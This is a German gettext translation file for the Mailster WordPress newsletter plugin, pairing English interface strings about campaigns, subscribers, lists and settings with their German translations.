msgid "Active"
msgstr "Aktiv"

#: views/lists/detail.php:60
msgid "Do you really like to remove this list with all subscribers?"
msgstr "Willst du wirklich diese Liste mit allen Abonnenten löschen?"

#: classes/lists.table.class.php:163
msgid "Merge selected Lists"
msgstr "Listen zusamenführen"

#: views/single-newsletter.php:86 views/single-newsletter.php:97
msgid "Share this via %s"
msgstr "Teile das via %s"

#: views/dashboard/mb-quicklinks.php:21 views/dashboard/mb-quicklinks.php:30
#: views/dashboard/mb-quicklinks.php:40 views/dashboard/mb-quicklinks.php:48
msgid "View"
msgstr "Ansehen"

#: views/lists/detail.php:136 views/subscribers/detail.php:413
msgid "Activity"
msgstr "Aktivitäten"

#: views/lists/detail.php:57
msgid "Do you really like to remove this list?"
msgstr "Willst du wirklich diese Liste löschen?"

#: classes/lists.class.php:786
msgid "Merged List #%d"
msgstr "Zusammengeführte Liste #%d"

#: views/single-newsletter.php:107
msgid "Share with %s"
msgstr "Teile mit %s"

#: classes/campaigns.class.php:176 classes/campaigns.class.php:530
#: classes/campaigns.class.php:535
msgid "View Newsletter"
msgstr "Newsletter anzeigen"

#: classes/campaigns.class.php:1389 views/newsletter/attachment.php:42
msgid "Add Attachment"
msgstr "Anhang hinzufügen"

#: views/subscribers/detail.php:68
msgid "Do you really like to remove this subscriber?"
msgstr "Willst du wirklich diesen Abonnent löschen?"

#: classes/ajax.class.php:749
msgid "Message sent. Check your inbox!"
msgstr "Nachricht gesendet. Überprüfe den Posteingang!"

#: classes/forms.class.php:277 classes/forms.class.php:1382
#: classes/forms.class.php:1399
msgid "Shortcode"
msgstr "Shortcode"

#: classes/subscribers.class.php:778
msgid "WP user on %s"
msgstr "WP Benutzer am %s"

#: views/dashboard/mb-quicklinks.php:49
msgid "Add Form"
msgstr "Formular hinzufügen"

#: views/subscribers/detail.php:495
msgid "Do you really like to resend campaign %1$s to %2$s?"
msgstr "Wills du wirklich die Kampagne %1$s erneut an %2$s senden?"

#: views/conditions/conditions.php:78
msgid "Meta Data"
msgstr "Metadaten"

#: classes/widget.class.php:550
msgid "Show Count"
msgstr "Zeige Zähler"

#: views/single-newsletter.php:130
msgid "We respect your privacy. Nothing you enter on this page is saved by anyone"
msgstr "Wir respektieren Ihre Privatsphäre. Keiner Ihrer Angaben wird von irgendjemanden gespeichert"

#: classes/helper.class.php:819
msgid "Add Image"
msgstr "Bild hinzufügen"

#: views/subscribers/detail.php:65
msgid "Do you really like to resend the confirmation?"
msgstr "Willst du die Bestätigung wirklich erneut senden?"

#: views/settings/wordpress-users.php:13
msgid "Meta Data List"
msgstr "Metadatenliste"

#: views/newsletter/details.php:156
msgid "Web Client"
msgstr "Webklient"

#: views/dashboard/mb-quicklinks.php:41
msgid "Add List"
msgstr "Liste erstellen"

#: views/settings/capabilities.php:38
msgid "Do you really like to reset all capabilities? This cannot be undone!"
msgstr "Willst du wirklich alle Berechtigungen zurücksetzten? Dieser Vorgang kann nicht rückgängig gemacht werden!"

#: views/settings/wordpress-users.php:35
msgid "Meta Fields"
msgstr "Metadaten"

#: views/settings/general.php:30 views/setup.php:126
msgid "Show thumbnails of modules in the editor if available"
msgstr "Zeige Modulethumbnails im Editor falls verfügbar"

#: classes/tinymce.class.php:105
msgid "Webversion"
msgstr "Webansicht"

#: classes/campaigns.class.php:1345
msgid "Add Module"
msgstr "Modul hinzufügen"

#: classes/settings.class.php:405
msgid "Do you really like to reset the options? This cannot be undone!"
msgstr "Möchtest du wirklich die Einstellungen zurücksetzten? Dieser Schritt kann nicht rückgängig gemacht werden!"

#: classes/widget.class.php:544
msgid "Minimal"
msgstr "Minimalistisch"

#: classes/widget.class.php:9
msgid "Sign Up form for the newsletter"
msgstr "Anmeldeformular für den Newsletter"

#: views/settings/texts.php:40
msgid "Webversion Link"
msgstr "Webansicht Link"

#: classes/forms.table.class.php:49 classes/subscribers.table.class.php:79
#: classes/lists.table.class.php:45 views/forms/overview.php:4
#: views/forms/detail.php:76 views/templates.php:65 views/lists/overview.php:4
#: views/lists/detail.php:51 views/subscribers/overview.php:12
#: views/subscribers/detail.php:56
msgid "Add New"
msgstr "Hinzufügen"

#: classes/dashboard.class.php:234
msgid "Do you really like to reset your license for this site?"
msgstr "Willst du deine Lizenz für diese Seite wirklich zurücksetzten?"

#: views/conditions/conditions.php:212 views/newsletter/details.php:155
msgid "Mobile"
msgstr "Mobil"

#: classes/settings.class.php:239 includes/updates.php:162
msgid "Sign up to our newsletter"
msgstr "Unseren Newsletter abonnieren"

#: views/welcome.php:3
msgid "Welcome to %s"
msgstr "Willkommen zu %s"

#: classes/mailster.class.php:1132 classes/mailster.class.php:1191
#: views/welcome.php:17
msgid "Add Ons"
msgstr "Erweiterungen"

#: classes/campaigns.class.php:1387
msgid "Do you really like to send this campaign now?"
msgstr "Willst du die Kampagne wirklich jetzt senden?"

#: views/settings/general.php:29 views/setup.php:125
msgid "Module Thumbnails"
msgstr "Vorschaubilder für Module"

#: classes/manage.class.php:337
msgid "Signup + Confirm Date"
msgstr "Anmelde + Bestätigungsdatum"

#: classes/mailster.class.php:1188 views/setup.php:38
msgid "Welcome to Mailster"
msgstr "Willkommen zu Mailster"

#: views/dashboard/mb-subscribers.php:29 views/dashboard/mb-quicklinks.php:33
msgid "Add Subscriber"
msgstr "Abonnent hinzufügen"

#: classes/tinymce.class.php:186 includes/static.php:11
msgid "Do you really want to unsubscribe?"
msgstr "Wollen Sie sich wirklich abmelden?"

#: views/newsletter/template.php:54
msgid "Modules"
msgstr "Module"

#: classes/manage.class.php:335 classes/manage.class.php:959
#: views/manage.php:315
msgid "Signup Date"
msgstr "Anmeldedatum"

#: views/welcome.php:12
msgid "What's New"
msgstr "Neuigkeiten"

#: views/dashboard/mb-subscribers.php:37
msgid "Add a single Subscriber"
msgstr "Einen Abonnenten hinzufügen"

#: views/dashboard/mb-mailster.php:64
msgid "Documentation"
msgstr "Dokumentation"

#: views/templates.php:101 views/templates.php:109
msgid "More Templates"
msgstr "Mehr Templates"

#: classes/manage.class.php:962 views/manage.php:316
msgid "Signup IP"
msgstr "Anmelde IP"

#: classes/register.class.php:70
msgid "Where can I find my item purchase code?"
msgstr "Wo finde ich den Lizenzcode?"

#: views/newsletter/attachment.php:36
msgid "Add an attachment to your campaign."
msgstr "Füge einen Anhang zu deiner Kampagne hinzu."

#: classes/ajax.class.php:2051 classes/ajax.class.php:2063
#: classes/ajax.class.php:2103
msgid "Domain %s"
msgstr "Domain %s"

#: views/subscribers/detail.php:389
msgid "Most popular client"
msgstr "Beliebtester Klient"

#: classes/manage.class.php:341
msgid "Signup IP Address"
msgstr "IP Adresse b. Anmelden"

#: classes/forms.class.php:1385
msgid "Widget"
msgstr "Widget"

#: classes/frontpage.class.php:649
msgid "Add content"
msgstr "Inhalt hinzufügen"

#: views/forms/detail.php:363
msgid "Double Opt In"
msgstr "Double Opt In"

#: classes/campaigns.class.php:1340
msgid "Move module down"
msgstr "Modul nach unten"

#: classes/tinymce.class.php:182 includes/static.php:11
msgid "Signup for the newsletter"
msgstr "Den Newsletter abonnieren"

#: classes/widget.class.php:548
msgid "Width"
msgstr "Breite"

#: views/forms/detail.php:70
msgid "Add new Form"
msgstr "Neues Formular"

#: views/templates/available-template.php:66
#: views/templates/available-template.php:72
#: views/templates/available-template.php:94
#: views/templates/available-template.php:120
msgid "Download"
msgstr "Download"

#: classes/campaigns.class.php:1339
msgid "Move module up"
msgstr "Modul nach oben"

#: views/settings/delivery.php:94 views/setup.php:252
msgid "Simple"
msgstr "Einfach"

#: classes/mailster.class.php:1374
msgid "Without Registration you are not able to get automatic update or support!"
msgstr "Ohne Registrierung sind Updates und Support leider nicht möglich!"

#: views/lists/detail.php:43
msgid "Add new List"
msgstr "Neue Liste erstellen"

#: views/manage.php:356
msgid "Download Subscribers"
msgstr "Abonnenten herunterladen"

#: views/newsletter/submit.php:39
msgid "Move to Trash"
msgstr "In den Papierkorb legen"

#: views/settings/subscribers.php:45
msgid "Single-Opt-Out"
msgstr "Einfachen Abmelden (Single-Opt-Out)"

#: classes/mailster.class.php:1134
msgid "Wizard"
msgstr "Assistent"

#: views/subscribers/detail.php:48
msgid "Add new Subscriber"
msgstr "Neuen Abonnenten anlegen"

#: classes/dashboard.class.php:145
msgid "My Campaigns"
msgstr "Meine Kampagnen"

#: views/dashboard/mb-campaigns.php:42
msgid "Woha! Looks like you havn't sent any campaign yet!"
msgstr "Du hast anscheinend noch keine Kampagne gesendet!"

#: views/settings/tags.php:27
msgid "Add your custom tags here. They work like permanent tags"
msgstr "Füge hier deine eigenen Tags hinzu. Sie funktionieren wie die permanenten Tags"

#: classes/update.class.php:120
msgid "Downloading the latest version of Mailster"
msgstr "Herunterladen der aktuellen Version von Mailster"

#: classes/dashboard.class.php:150
msgid "My Lists"
msgstr "Meine Listen"

#: views/settings/template.php:28
msgid "Social Services"
msgstr "Soziale Medien"

#: views/setup.php:161
msgid "Wonder what these {placeholders} are for? Read more about tags %s."
msgstr "Willst du wissen für was diese {platzhalter} sind? Lies mehr über Tags %s."

#: classes/privacy.class.php:168 classes/conditions.class.php:104
#: classes/lists.class.php:49 classes/manage.class.php:971 views/manage.php:312
msgid "Added"
msgstr "Hinzugefügt"

#: classes/dashboard.class.php:237
msgid "Downloading..."
msgstr "Download..."

#: classes/dashboard.class.php:147
msgid "My Mailster"
msgstr "Mein Mailster"

#: views/settings/bounce.php:62
msgid "Soft Bounces"
msgstr "Soft Bounces"

#: cron.php:94 cron.php:94
msgid "WordPress Cron in use!"
msgstr "WordPress Cron ist in Verwendung!"

#: views/setup.php:151
msgid "Address"
msgstr "Adresse"

#: classes/templates.class.php:1493
msgid "Drop your ZIP file here to upload new template"
msgstr "Hier deine ZIP Datei herziehen um neues Template hochzuladen"

#: classes/dashboard.class.php:149
msgid "My Subscribers"
msgstr "Meine Abonnenten"

#: views/lists/detail.php:167 views/subscribers/detail.php:462
msgid "Soft bounce (%d tries)"
msgstr "Softbounce (%d Versuche)"

#: views/conditions/conditions.php:85
msgid "WordPress User Meta"
msgstr "WordPress Benutzerdaten"

#: views/settings.php:47
msgid "Advanced"
msgstr "Fortgeschritten"

#: classes/manage.class.php:1450
msgid "Drop your list here"
msgstr "Hier deine Liste ablegen"

#: views/manage.php:281
msgid "MySQL Server Performance"
msgstr "MySQL Server Performance"

#: classes/manage.class.php:455
msgid "Some Auto responder require a signup date. Define it here if it is not set or missing"
msgstr "Manche Autoresponder benötigen ein Anmeldedatum. Bestimme es hier falls es nicht gesetzt ist oder fehlt"

#: views/settings/wordpress-users.php:57 views/settings/wordpress-users.php:58
#: views/settings.php:39 views/manage.php:76
msgid "WordPress Users"
msgstr "WordPress Benutzer"

#: classes/forms.table.class.php:34 classes/subscribers.table.class.php:41
#: classes/lists.table.class.php:34
msgid "All"
msgstr "Alle"

#: classes/settings.class.php:388 views/settings/subscribers.php:77
msgid "Dropdown Menu"
msgstr "Dropdown Menü"

#: classes/forms.class.php:276 classes/campaigns.class.php:556
#: classes/subscribers.class.php:134 classes/lists.class.php:45
#: views/lists/detail.php:67 views/subscribers/detail.php:111
#: views/newsletter/optionbar.php:80
msgid "Name"
msgstr "Name"

#: views/setup.php:134
msgid "Some information is used in the footer of your campaign. Some information is required by law so please ask your lawyer about correct use."
msgstr "Diese Informationen kommen teilweise in den Fußteil deiner Kampagnen. Manche davon sind gesetzlich vorgeschrieben. Sprich mit einem Rechtsanwalt über die lokalen Vorschriften."

#: classes/campaigns.class.php:175
msgid "All Campaigns"
msgstr "Alle Kampagnen"

#: classes/forms.table.class.php:122 classes/campaigns.class.php:1040
#: classes/campaigns.class.php:1182 views/newsletter/submit.php:55
msgid "Duplicate"
msgstr "Duplizieren"

#: views/settings/subscribers.php:55
msgid "Name Order"
msgstr "Namensreihenfolge"

#: views/settings/advanced.php:1
msgid "Some of these settings may affect your website. In normal circumstance it is not required to change anything on this page."
msgstr "Manche dieser Einstellungen beeinflussen deine Webseite. Normalerweise muss auf dieser Seite nichts geändert werden."

#: classes/templates.class.php:361 classes/ajax.class.php:1833
msgid "WordPress is not able to access to your filesystem!"
msgstr "WordPress kann nicht auf das Dateisystem zugreifen!"

#: classes/register.class.php:82
msgid "All Set!"
msgstr "Alles erledigt!"

#: classes/campaigns.class.php:1182
msgid "Duplicate Campaign %s"
msgstr "Kampagne %s duplizieren"

#: views/lists/detail.php:72
msgid "Name of the List"
msgstr "Name der Liste"

#: views/settings/authentication.php:78
msgid "Some providers don't allow TXT records with a specific size. Choose less bits in this case"
msgstr "Manche Provider erlauben keine TXT Einträge mit einer bestimmten Größe. Verwende eine kleine Bitgröße in diesem Fall"

#: classes/helper.class.php:426
msgid "Y/m/d"
msgstr "d.m.Y"

#: classes/settings.class.php:155
msgid "All rights reserved."
msgstr "Alle Rechte vorbehalten."

#: classes/campaigns.class.php:1341
msgid "Duplicate module"
msgstr "Module duplizieren"

#: classes/campaigns.class.php:1348
msgid "Name of the module (click to edit)"
msgstr "Name des Moduls (klicken zum bearbeiten)"

#: views/settings/texts.php:6
msgid "Some text can get defined on the %s as well"
msgstr "Manche Texte können auch auf der %s bestimmt werden"

#: classes/settings.class.php:249 includes/updates.php:37
msgid "Yes, unsubscribe me"
msgstr "Ja, abmelden"

#: views/settings/tags.php:59
msgid "Dynamic Tags"
msgstr "Dynamische Tags"

#: classes/campaigns.class.php:171 classes/campaigns.class.php:174
msgid "New %s"
msgstr "Neue %s"

#: views/dashboard/mb-lists.php:34
msgid "Sorry, no Lists found!"
msgstr "Keine Listen gefunden!"

#: classes/templates.class.php:565
msgid "You are about to update your exiting template files with a new version!"
msgstr "Möchtest du wirklich dein existierendes Template mit einer neueren Version überschreiben?"

#: views/settings/frontend.php:60
msgid "Allow users to view the next/last newsletters"
msgstr "erlaube Besucher zum nächsten/vorherigen Newsletter zu wechseln"

#: views/settings/tags.php:60
msgid "Dynamic tags let you display your posts or pages in a reverse chronicle order. Some examples:"
msgstr "Dynamische Tags helfen dir deine Artikel und Seiten in umgekehrt-chronologischer Reihenfolge einzubetten. Hier ein paar Beispiele:"

#: classes/ajax.class.php:1643
msgid "Sorry, we couldn't deliver your message. Please try again later!"
msgstr "Ihre Nachricht konnte leider nicht versendet werden. Bitte probieren Sie es später erneut"

#: classes/settings.class.php:403
msgid "You are about to create new DKIM keys. The old ones will get deleted. Continue?"
msgstr "Möchtest du wirklich neue SKIM Schlüssel erstellen? Die alten werden dabei gelöscht."

#: classes/campaigns.class.php:1381
msgid "Almost perfect!"
msgstr "Fast perfekt!"

#: views/welcome.php:6
msgid "Easily create, send and track your Newsletter Campaigns."
msgstr "Einfach Newsletter Kampagnen erstellen und senden"

#: views/settings/wordpress-users.php:114
msgid "New Comments"
msgstr "Neue Kommentare"

#: classes/subscribers.class.php:2898 views/subscribers/detail.php:80
#: views/subscribers/detail.php:82
msgid "Source"
msgstr "Quelle"

#: classes/manage.class.php:76
msgid "You are about to delete these subscribers permanently. This step is irreversible!"
msgstr "Du bist dabei diese Abonnenten dauerhaft zu löschen. Dies kann nicht rückgängig gemacht werden!"

#: views/newsletter/editbar.php:86 views/newsletter/editbar.php:198
msgid "Alt Text"
msgstr "Alt Text"

#: classes/campaigns.class.php:1349 views/settings/frontend.php:118
#: views/settings/frontend.php:128 views/settings/frontend.php:138
#: views/settings/frontend.php:148 views/settings/frontend.php:179
#: views/setup.php:211 views/newsletter/submit.php:64
#: views/newsletter/submit.php:172 views/single-newsletter.php:71
msgid "Edit"
msgstr "Bearbeiten"

#: classes/settings.class.php:720
msgid "New DKIM keys have been created!"
msgstr "Neue DKIM Schlüssel wurden erstellt!"

#: views/settings/tags.php:38
msgid "Special Tags"
msgstr "Spezial Tags"

#: classes/templates.class.php:564
msgid "You are about to delete this template %s"
msgstr "Möchtest du wirklich das Template %s löschen?"

#: classes/upgrade.class.php:43
msgid "An additional update is required for Mailster!"
msgstr "Ein weiteres Update für Mailster ist nötig!"

#: classes/campaigns.class.php:173 views/templates/installed-template.php:84
#: views/subscribers/detail.php:50
msgid "Edit %s"
msgstr "%s bearbeiten"

#: classes/campaigns.class.php:4492
msgid "New campaign %1$s has been created and is going to be sent in %2$s."
msgstr "Neue Kampagne %1$s wurde erstellt und wird in %2$s gesendet."

#: views/settings/tags.php:40
msgid "Special tags display dynamic content and are equally for all subscribers"
msgstr "Spezialtags zeigen dynamische Inhalte und sind gleich für alle Abonnenten"

#: classes/settings.class.php:407
msgid "You are about to overwrite all WordPress User data with the matching subscriber data. Continue?"
msgstr "Du überschreibst alle vorhanden WordPress Benutzer Daten mit den passenden Abonnentendaten. Fortfahren?"

#: classes/campaigns.class.php:1359
msgid "An empty link will remove this button! Continue?"
msgstr "Kein Link löscht den Button! Fortfahren?"

#: views/forms/detail.php:72
msgid "Edit Form"
msgstr "Formular bearbeiten"

#: classes/queue.class.php:787
msgid "New campaign %s has been created!"
msgstr "Neue Kampagne %s wurde erstellt!"

#: views/settings/delivery.php:62
msgid "Split campaigns"
msgstr "Kampagnen teilen"

#: classes/settings.class.php:406
msgid "You are about to overwrite all subscriber data with the matching WordPress User data. Continue?"
msgstr "Du überschreibst alle vorhanden Abonnentendaten mit den passenden WordPress Benutzer Daten. Fortfahren?"

#: classes/update.class.php:141 classes/update.class.php:161
msgid "An error occurred while updating Mailster!"
msgstr "Ein Problem ist beim Aktualisieren von Mailster aufgetreten!"

#: views/templates/installed-template.php:88
msgid "Edit HTML"
msgstr "HTML bearbeiten"

#: classes/notification.class.php:167
msgid "New subscribers to your newsletter!"
msgstr "Neue Abonnenten für deinen Newsletter!"

#: classes/manage.class.php:1467
msgid "Split your lists into max 50.000 subscribers each."
msgstr "Teile deine Listen in max 50.000 Einträge auf."

#: classes/settings.class.php:404
msgid "You are about to overwrite your exists settings with new ones. The old ones will get deleted. Continue?"
msgstr "Willst du wirklich deine Einstellungen mit den neuen überschreiben? Die alten werden dabei gelöscht."

#: classes/settings.class.php:241 includes/updates.php:51
msgid "An error occurred! Please try again later!"
msgstr "Ein Fehler ist aufgetreten! Bitte versuchen Sie es später noch einmal!"

#: views/lists/detail.php:48
msgid "Edit List %s"
msgstr "Liste %s bearbeiten"

#: classes/campaigns.class.php:920 classes/campaigns.class.php:1045
msgid "Start"
msgstr "Start"

#: classes/settings.class.php:254
msgid "You are already registered"
msgstr "Sie sind bereits registriert"

#: classes/campaigns.class.php:1394
msgid "An error occurs while uploading"
msgstr "Ein Fehler ist beim Hochladen aufgetreten!"

#: views/subscribers/user_edit.php:9
msgid "Edit Users Mailster Profile"
msgstr "Profil vom Mailster Benutzer bearbeiten"

#: classes/privacy.class.php:28 classes/settings.class.php:359
#: classes/settings.class.php:362 classes/dashboard.class.php:252
#: classes/campaigns.class.php:181 includes/static.php:7
msgid "Newsletter"
msgstr "Newsletter"

#: classes/campaigns.class.php:920 views/newsletter/submit.php:176
msgid "Start Campaign"
msgstr "Kampagne starten"

#: classes/manage.class.php:78
msgid "You are currently importing subscribers! If you leave the page all pending subscribers don't get imported!"
msgstr "Du importierst zur Zeit neue Abonnenten! Wenn du die Seite verlässt werden alle anstehenden Abonnenten nicht importieret!"

#: classes/ajax.class.php:2452
msgid "An update to the Mailster translation is available!"
msgstr "Ein Sprachupdate für Mailster ist verfügbar!"

#: classes/campaigns.class.php:1190
msgid "Edit base"
msgstr "Basis bearbeiten"

#: classes/tinymce.class.php:179 classes/mailster.class.php:2874
#: views/settings/frontend.php:4 views/setup.php:181
msgid "Newsletter Homepage"
msgstr "Newsletter Homepage"

#: classes/campaigns.class.php:912
msgid "Start Campaign now"
msgstr "Kampagne jetzt starten"

#: views/settings/delivery.php:104
msgid "You are currently sending with the %s delivery method"
msgstr "Du sendest zur Zeit mit %s"

#: classes/queue.class.php:1013
msgid "Another process is currently running the cron process and you have been temporary blocked to prevent duplicate emails getting sent out."
msgstr "Ein anderer Prozess läuft zur Zeit und du wurdest vorübergehend blockiert um doppelt gesendete E-Mails zu verhindern."

#: views/subscribers/user_edit.php:9
msgid "Edit my Mailster Profile"
msgstr "Mein Mailster Profil bearbeiten"

#: views/setup.php:55
msgid "Newsletter Homepage Setup"
msgstr "Newsletter Homepage Einstellungen"

#: views/setup.php:71 views/setup.php:82
msgid "Start Wizard"
msgstr "Assistent starten"

#: classes/subscribers.class.php:404
msgid "You are not allowed to add subscribers!"
msgstr "Du darfst keine Abonnenten hinzufügen!"

#: views/newsletter/receivers.php:60
msgid "Any List"
msgstr "Irgendeine Liste"

#: classes/subscribers.class.php:433 classes/lists.class.php:201
msgid "Edit this user"
msgstr "Diese Benutzer bearbeiten"

#: classes/widget.class.php:127
msgid "Newsletter List"
msgstr "Newsletter Liste"

#: views/templates/installed-template.php:28
msgid "Start new Campaign"
msgstr "Starte neue Kampagne"

#: classes/subscribers.class.php:477
msgid "You are not allowed to delete subscribers!"
msgstr "Du darfst keine Abonnenten löschen!"

#: classes/forms.class.php:1349 classes/forms.class.php:1366
#: classes/settings.class.php:243 classes/conditions.class.php:102
#: classes/form.class.php:838 includes/updates.php:35
#: views/settings/wordpress-users.php:25 views/settings/texts.php:25
msgid "Email"
msgstr "E-Mail"

#: classes/settings.class.php:353 views/settings.php:15
msgid "Newsletter Settings"
msgstr "Newsletter Einstellungen"

#: classes/campaigns.class.php:912
msgid "Start now"
msgstr "Jetzt starten"

#: classes/campaigns.class.php:390 classes/campaigns.class.php:1130
msgid "You are not allowed to duplicate this campaign."
msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu duplizieren."

#: views/settings/frontend.php:167
msgid "Archive"
msgstr "Archiv"

#: classes/tinymce.class.php:85
msgid "Email address"
msgstr "E-Mailadresse"

#: views/settings/texts.php:17
msgid "Newsletter Sign up"
msgstr "Newsletteranmeldung"

#: views/newsletter/submit.php:110 views/newsletter/submit.php:157
msgid "Statistic"
msgstr "Statistik"

#: classes/subscribers.class.php:408
msgid "You are not allowed to edit subscribers!"
msgstr "Du darfst keine Abonnenten bearbeiten!"

#: views/settings/frontend.php:172
msgid "Archive Slug"
msgstr "Archiv URL Struktur"

#: classes/forms.class.php:1106
msgid "Email is missing or wrong"
msgstr "E-Mail fehlt oder ist falsch"

#: classes/widget.class.php:8
msgid "Newsletter Signup Form"
msgstr "Newsletter Anmeldeformular"

#: classes/campaigns.class.php:1186
msgid "Statistics"
msgstr "Statistik"

#: classes/manage.class.php:795 classes/manage.class.php:883
msgid "You are not allowed to export subscribers!"
msgstr "Du darfst Abonnenten nicht exportieren!"

#: classes/cron.class.php:219
msgid "Are your campaigns not sending? You may have to check your %1$s"
msgstr "Werden deine Kamapgnen nicht gesendet? Du musst vielleicht die %1$s überprüfen"

#: views/settings/general.php:24
msgid "Embed Images"
msgstr "Bilder einbetten"

#: classes/campaigns.class.php:184
msgid "Newsletter list"
msgstr "Newsletter Liste"

#: classes/campaigns.class.php:557 classes/campaigns.class.php:3711
#: classes/subscribers.class.php:143 classes/manage.class.php:348
#: classes/manage.class.php:950 classes/form.class.php:303
#: views/settings/delivery.php:27 views/manage.php:192 views/manage.php:311
#: views/manage.php:406 views/subscribers/detail.php:129
msgid "Status"
msgstr "Status"

#: classes/campaigns.class.php:428 classes/campaigns.class.php:1121
msgid "You are not allowed to finish this campaign."
msgstr "Du darfst Kampagnen nicht beenden."

#: classes/campaigns.class.php:279
msgid "Attachment"
msgstr "Anhang"

#: classes/forms.class.php:1420
msgid "Embed a button where users can subscribe on any website"
msgstr "Binde den Button auf Webseiten ein um ihnen zu erlauben sich anzumelden"

#: classes/campaigns.class.php:183
msgid "Newsletter list navigation"
msgstr "Newsletter Navigation"

#: classes/manage.class.php:953 views/manage.php:305
msgid "Statuscode"
msgstr "Statuscode"

#: classes/campaigns.class.php:401 classes/campaigns.class.php:1105
msgid "You are not allowed to pause this campaign."
msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu pausieren."

#: classes/campaigns.class.php:1645
msgid "Attachment doesn't exist or isn't readable!"
msgstr "Anhang existiert nicht oder konnte nicht gelesen werden!"

#: views/settings/general.php:25
msgid "Embed images in the mail"
msgstr "Bilder werden in die Nachrichten eingebettet"

#: views/setup.php:493
msgid "Still need help? Go ask on the %s further questions."
msgstr "Brauchst du noch Hilfe? Besuch unsere %s wenn du noch mehr Fragen hast."

#: classes/subscribers.class.php:511
msgid "You are not allowed to publish campaigns!"
msgstr "Du darfst Kampagnen nicht veröffentlichen!"

#: classes/campaigns.class.php:1642 classes/ajax.class.php:565
msgid "Attachments must not exceed the file size limit of %s!"
msgstr "Anhänge dürfen zusammen nicht größer als %s sein!"

#: classes/forms.class.php:1389
msgid "Embed your form on any site, no matter if it is your current or a third party one. It's similar to the Twitter button."
msgstr "Bette dein Formular auf jeder Seite ein, egal ob es deine aktuelle oder ein fremde ist. Es funktioniert ähnlich dem Twitter Button."

#: includes/functions.php:456
msgid "Newsletters"
msgstr "Newsletters"

#: classes/tinymce.class.php:108 views/forms/detail.php:377
#: views/newsletter/details.php:18 views/newsletter/details.php:21
#: views/newsletter/details.php:75
msgid "Subject"
msgstr "Betreff"

#: classes/campaigns.class.php:410 classes/campaigns.class.php:1097
msgid "You are not allowed to start this campaign."
msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu starten."

#: views/settings/wordpress-users.php:84
msgid "Attention! This option will remove assigned WordPress Users without further notice. You must have the capability to delete WordPress Users. Administrators and the current user can not get deleted with this option"
msgstr "Achtung! Diese Option löscht verknüpfte WordPress User ohne weitere Nachricht. Du benötigst die nötigen Rechte um WordPress User zu löschen. Administratoren und der aktuelle User werden mit dieser Einstellung nicht gelöscht"

#: views/manage.php:125 views/setup.php:173 views/setup.php:401
#: views/setup.php:431 views/setup.php:455
msgid "Next Step"
msgstr "Nächster Schritt"

#: views/settings/texts.php:29 views/forms/detail.php:287
msgid "Submit Button"
msgstr "Abschickbutton"

#: classes/notification.class.php:177
msgid "You are receiving this email because you have enabled notifications for new subscribers %s"
msgstr "Du erhältst diese Benachrichtigung weil du diese für neue Abonnenten %s aktiviert hast"

#: views/settings.php:46
msgid "Authentication"
msgstr "Authentifizierung"

#: classes/mailster.class.php:1368
msgid "Enable %s first"
msgstr "Zuerst %s aktivieren"

#: classes/campaigns.class.php:765 views/newsletter/delivery.php:321
msgid "Next issue: %s"
msgstr "Nächste Ausgabe: %s"

#: views/newsletter/submit.php:128 views/newsletter/submit.php:129
msgid "Submit for Review"
msgstr "Zur Revision vorlegen"

#: classes/notification.class.php:205
msgid "You are receiving this email because you have enabled notifications for unsubscriptions %s"
msgstr "Du erhältst diese Benachrichtigung weil du diese für Abonnenten, die sich abgemeldet haben %s aktiviert hast"

#: classes/campaigns.class.php:1352
msgctxt "for the autoimporter"
msgid "Auto"
msgstr "Auto"

#: classes/settings.class.php:1622
msgid "Enabling this option may solve connection problems to SMTP servers"
msgstr "Das Aktivieren dieser Option kann Probleme bei der Verbindung zu SMTP Servern beheben"

#: classes/campaigns.class.php:178
msgid "No %s found"
msgstr "Keine %s gefunden"

#: classes/tinymce.class.php:192 classes/forms.class.php:1342
#: classes/forms.class.php:1358 classes/widget.class.php:430
#: classes/widget.class.php:511 classes/settings.class.php:247
#: includes/updates.php:36
msgid "Subscribe"
msgstr "Anmelden"

#: views/settings/cron.php:37
msgid "You can keep a browser window open with following URL"
msgstr "Du kannst ein Browserfenster mit der folgendem Link öffnen"

#: views/newsletter/delivery.php:32
msgid "Auto Responder"
msgstr "Autoresponder"

#: views/settings/general.php:78
msgid "Encoding"
msgstr "Kodierung"

#: classes/campaigns.class.php:179
msgid "No %s found in Trash"
msgstr "Keine %s im Papierkorb gefunden "

#: views/settings/frontend.php:125
msgid "Subscribe Slug"
msgstr "Anmeldung"

#: views/settings/authentication.php:58 views/settings/authentication.php:64
msgid "You can leave this field blank unless you know what you do"
msgstr "Du kannst dieses Feld leer lassen außer du weist was du tust"

#: views/settings/general.php:38
msgid "Auto Update"
msgstr "Automatisches Update"

#: views/settings/texts.php:84
msgid "English"
msgstr "Englisch"

#: classes/lists.class.php:1156
msgid "No Lists found!"
msgstr "Keine Listen gefunden!"

#: classes/lists.table.class.php:161
msgid "Subscribe subscribers"
msgstr "Abonnenten anmelden"

#: classes/ajax.class.php:732
msgid "You can only perform 10 test within an hour. Please try again later!"
msgstr "Du kannst nur 10 Tests in der Stunde machen. Bitte probier es später noch einmal"

#: classes/queue.class.php:715
msgid "Auto responder campaign %s has been finished and is deactivated!"
msgstr "Autoresponder Kampagne %s wurde beendet und deaktiviert!"

#: classes/campaigns.class.php:1204
msgid "Enter Campaign Title here"
msgstr "Kampagnentitel hier eingeben"

#: views/conditions/conditions.php:250 views/conditions/conditions.php:272
#: views/conditions/conditions.php:332 views/newsletter/delivery.php:478
msgid "No campaigns available"
msgstr "Keine Kampagnen verfügbar"

#: views/settings/wordpress-users.php:105
#: views/settings/wordpress-users.php:132
#: views/settings/wordpress-users.php:151
msgid "Subscribe them to these lists:"
msgstr "Melde diese in folgende Listen an:"

#: views/settings/tags.php:2
msgid "You can set alternative content with %1$s which will be uses if %2$s is not defined. All unused tags will get removed in the final message"
msgstr "Du kannst alternativen Inhalt mit %1$s angeben, der verwendet wird falls %2$s nicht definiert ist. Alle nicht verwendeten Tags werden in der endgültigen Nachricht gelöscht"

#: classes/campaigns.class.php:154 classes/campaigns.class.php:259
#: classes/campaigns.class.php:263 classes/campaigns.class.php:308
msgid "Autoresponder"
msgstr "Autoresponder"

#: views/forms/detail.php:95
msgid "Enter Form Name"
msgstr "Formbezeichung hier eingeben"

#: classes/widget.class.php:426 classes/widget.class.php:506
msgid "Subscribe to our Newsletter"
msgstr "Abonniere unseren Newsletter"

#: views/settings/cron.php:50
msgid "You can setup an interval as low as one minute, but should consider a reasonable value of 5-15 minutes as well."
